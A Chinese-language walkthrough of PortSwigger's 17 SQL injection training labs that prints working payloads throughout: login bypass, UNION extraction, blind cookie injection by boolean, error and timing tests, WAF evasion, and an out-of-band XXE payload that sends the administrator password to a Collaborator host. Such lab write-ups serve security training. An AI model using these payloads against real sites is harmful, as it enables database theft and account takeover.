BurpSuit官方实验室之SQL注入
这是BurpSuit官方的实验室靶场,以下将记录个人SQL注入共17个Lab的通关过程
Web Security Academy: Free Online Training from PortSwigger
lab1:
SQL injection vulnerability in WHERE clause allowing retrieval of hidden data
WHERE子句中的SQL注入漏洞允许检索隐藏数据
进来发现如下商品页面
选择一个标签如Lifestyle会通过/filter?category=Lifestyle接口自动搜索相关内容
尝试注释掉后面的限制如limit、order by等,出现了4个信息,证明注释生效了存在sql注入
加入or 1=1,显示全部商品
lab2:
SQL injection vulnerability allowing login bypass
允许绕过登录的SQL注入
同样是一个商品界面,发现登录入口
登录界面
它的请求包如下,administrator用户存在并注释掉了后面的密码,成功跳转my-account页面
直接在登录框输入,administrator’-- 密码任意
成功绕过登录
lab3:
SQL injection UNION attack, determining the number of columns returned by the query
SQL注入联合攻击,确定查询返回的列数
进入到了如下页面
点击Lifestyle标签有如下请求包,和lab1有点像
关卡名称提示SQL injection UNION attack,需要先判断查询的字段,进行探测,结果都成功返回
' order by 1--
' order by 2--
' order by 3--
继续探测,报错证明查询的字段数为3
' order by 4--
利用联合查询成功通关
union select NULL,NULL,NULL--
lab4:
SQL injection UNION attack, finding a column containing text
SQL注入联盟攻击,找到一个包含文本的列
同样用
' order by 1--
探测出查询的字段数,然后联合查询,回显提示字符串
成功过关
lab5:
SQL injection UNION attack, retrieving data from other tables
SQL注入联合攻击,从其他表中检索数据
通过
' order by 2--
判断查询字段数为2
根据提示查询users表的username和password字段
利用拿到的账号密码登录
administrator
r9p7687yedddtfy9ugd5
lab6:
SQL injection UNION attack, retrieving multiple values in a single column
SQL注入联合攻击,在一列中检索多个值
同样通过order by判断字段数为2
想用lab5的方式一样查找,表users的username与password,但是不行了
根据提示一行多值,利用Oracle数据库的连接符||进行查询
利用拿到的账号密码进行登录
administrator:q1g44lzx12wu6k5zag77
lab7:
SQL injection attack, querying the database type and version on Oracle
SQL注入攻击,在Oracle上查询数据库类型和版本
order by
判断字段数为2
利用Oracle查询语句
SELECT BANNER FROM v$version
lab8:
SQL injection attack, querying the database type and version on MySQL and Microsoft
SQL注入攻击,在MySQL和Microsoft上查询数据库类型和版本
首先还是
order by
判断字段数为2 注释用–+或#
lab9:
SQL injection attack, listing the database contents on non-Oracle databases
SQL注入攻击,列出非Oracle数据上的数据库内容
order by
判断字段数为2
利用如下sql查表
SELECT table_name FROM information_schema.tables
找到疑似用户表users_dnbohi
利用如下sql查字段
SELECT column_name FROM information_schema.columns WHERE table_name='users_dnbohi'
直接拿字段查询数据库
password_aizsso
username_yeoepo
使用administrator登录即可
lab10:
SQL injection attack, listing the database contents on Oracle
SQL注入攻击,列出Oracle上的数据库内容
Oracle找表
SELECT table_name FROM all_tables
找到疑似用户表USERS_YSPAXZ
利用构造如下SQL查表中字段
SELECT column_name FROM all_tab_columns WHERE table_name = 'USERS_YSPAXZ'
根据获得的字段查表
拿到administrator用户进行登录
lab11:
Blind SQL injection with conditional responses
具有条件反应的SQL盲注
根据目标提示,SQL注入存在Cookie中,查询成功有Welcome back的回显但没有数据的回显,给了表和字段,让我们查到administrator用户的账号密码
正常状态下的回显点
修改测试Cookie值
正常:
TrackingId=IbtFgRW3fsOqScJZ' AND '1'='1
而当以下状态则无回显
TrackingId=IbtFgRW3fsOqScJZ' AND '1'='2
ps:遇到这种盲注的还是得上脚本跑,不过既然是bp的实验室就只用bp不作弊了。
验证存在users表
TrackingId=IbtFgRW3fsOqScJZ' AND (SELECT 'tpa' FROM users LIMIT 1)='tpa;
验证users表中存在administrator用户
AND (SELECT 'tpa' FROM users WHERE username='administrator')='tpa
验证administrator用户密码的长度
TrackingId=IbtFgRW3fsOqScJZ' AND (SELECT 'tpa' FROM users WHERE username='administrator' AND LENGTH(password)>1)='tpa;
增加数值进行爆破
直接爆破100次
最终判断出密码为20位
接下来爆破这20位密码,其中利用了SUBSTRING函数
MySQL 中获取子串函数SUBSTRING(s,n,len) 带有len 参数的格式,从字符串s 返回一个长度同len 字符相同的子字符串,起始于位置n。
TrackingId=IbtFgRW3fsOqScJZ' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator')='a
需要使用Cluster bomb模块,爆破如下两个点
设置第一个payload
设置第二个payload
爆破出密码
得到密码
eiuykiw2hve9iksu5zg4
进行登录
lab12:
Blind SQL injection with conditional errors
有条件误差的SQL盲注
这题和lab13一样也在Cookie存在注入点
当Cookie,如下出现异常
TrackingId=QK2186qbcVnsom7d'
而当如下则正常,说明带入了数据库查询中存在SQL注入
TrackingId=QK2186qbcVnsom7d''
当Cookie为,回显正常,说明为Oracle数据库
TrackingId=QK2186qbcVnsom7d'||(SELECT '' FROM dual)||';
确定users表存在
# WHERE ROWNUM = 1 用于限定仅仅返回一行数据
TrackingId=QK2186qbcVnsom7d'||(SELECT CASE WHEN (1=2) THEN TO_CHAR(1/0)
ELSE '' END FROM users WHERE ROWNUM = 1)||';
确定表中存在administrator
# 正常,tpa不存在,SELECT '' 不会导致异常
TrackingId=QK2186qbcVnsom7d'||(SELECT CASE WHEN (1=2) THEN TO_CHAR(1/0)
ELSE '' END FROM users WHERE username='tpa')||';
# 正常,tpa不存在,SELECT TO_CHAR(1/0) 也不会导致异常
TrackingId=QK2186qbcVnsom7d'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0)
ELSE '' END FROM users WHERE username='tpa')||';
# 正常,administrator存在,SELECT '' 不会导致异常
TrackingId=QK2186qbcVnsom7d'||(SELECT CASE WHEN (1=2) THEN TO_CHAR(1/0)
ELSE '' END FROM users WHERE username='administrator')||';
# 异常,administrator存在,SELECT TO_CHAR(1/0) 会导致异常
TrackingId=QK2186qbcVnsom7d'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0)
ELSE '' END FROM users WHERE username='administrator')||';
确定password的字段数
# 异常即LENGTH(password)>条件满足,测试找到正常时的长度值
TrackingId=QK2186qbcVnsom7d'||(SELECT CASE WHEN LENGTH(password)>1
THEN+TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||';
爆破得到密码为20位
继续爆破密码同lab11
TrackingId=QK2186qbcVnsom7d'||(SELECT CASE WHEN SUBSTR(password,1,1)='a'
THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||';
得到密码
ykx431jx1rnwz1qirwe1
lab13:
Bind SQl injection with time delays
具有时间延迟的SQL盲注
时间延迟
Oracle dbms_pipe.receive_message(('a'),10)
Microsoft WAITFOR DELAY '0:0:10'
PostgreSQL SELECT pg_sleep(10)
MySQL SELECT sleep(10)
成功利用pg_sleep(10)完成10秒延迟
TrackingId=QK2186qbcVnsom7d'||pg_sleep(10)--;
lab14:
Blind SQL injection with time delays and information retrieval
时间SQL盲注与信息检索
case语句确认:
#延时,%3B为分号URL编码,使得cookie查询执行后,执行SQL
'%3BSELECT+CASE+WHEN+(1=1)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END--
#不延时
'%3BSELECT+CASE+WHEN+(1=2)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END--
判断administrator是否存在
#不延时
'%3BSELECT+CASE+WHEN+(username='tpa')+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--
#延时
'%3BSELECT+CASE+WHEN+(username='administrator')+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--
判断密码字段长度为20
#延时
'%3BSELECT+CASE+WHEN+
(username='administrator'+AND+LENGTH(password)>1)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--
#不延时
'%3BSELECT+CASE+WHEN+
(username='administrator'+AND+LENGTH(password)>20)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--
爆破密码观察延时记录
'%3BSELECT+CASE+WHEN+
(username='administrator'+AND+SUBSTRING(password,1,1)='a')+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--
爆破和之前一样,但必须要开单线程否则时间影响判断
3frfbconkxofsl9luia0
lab15:
Blind SQL injection with out-of-band interaction
带外交互的盲SQL注入
在Burp菜单中,启动Burp Collaborator client
DNS回显
TrackingId=vsVGPg9k549Xo6Cl'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//4hmbtgow2l3nn7ibp4pr2ov9r0xqlf.burpcollaborator.net/">+%25remote%3b]>'),'/l')+FROM+dual--
lab16:
Blind SQL injection with out-of-band data exfiltration
带外数据泄漏的盲SQL注入
TrackingId=Ifp0Hk2INB4OuswfX'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//'||(SELECT+password+FROM+users+WHERE+username%3d'administrator')||'.xij43u68zv8n2jpslrd0w7nt4kaayz.burpcollaborator.net/">+%25remote%3b]>'),'/l')+FROM+dual--
拿到密码
lab17:
SQL injection with filter bypass via XML encoding
通过XML编码绕过过滤器的SQL注入
这次页面比较特殊没看到按钮,只有view details的按钮,点进去
发现新按钮
点击生成如下请求包,当为
<storeId>1<storeId>
返回742units
当为
<storeId>2<storeId>
返回561units
测试是否存在数学表达式替换ID
使用
<storeId>1+1<storeId>
,成功查到
<storeId>2<storeId>
的结果
追加 UNION SELECT NULL,被WAF侦测到攻击阻止
利用 Hackvertor插件转十六进制实体成功绕过(units不一样是因为环境timeout重开了)
以为只能返回一列,将用户名密码连接起来,得到用户密码
1 UNION SELECT username || ':' || password FROM users
版权归原作者 tpaer 所有, 如有侵权,请联系我们删除。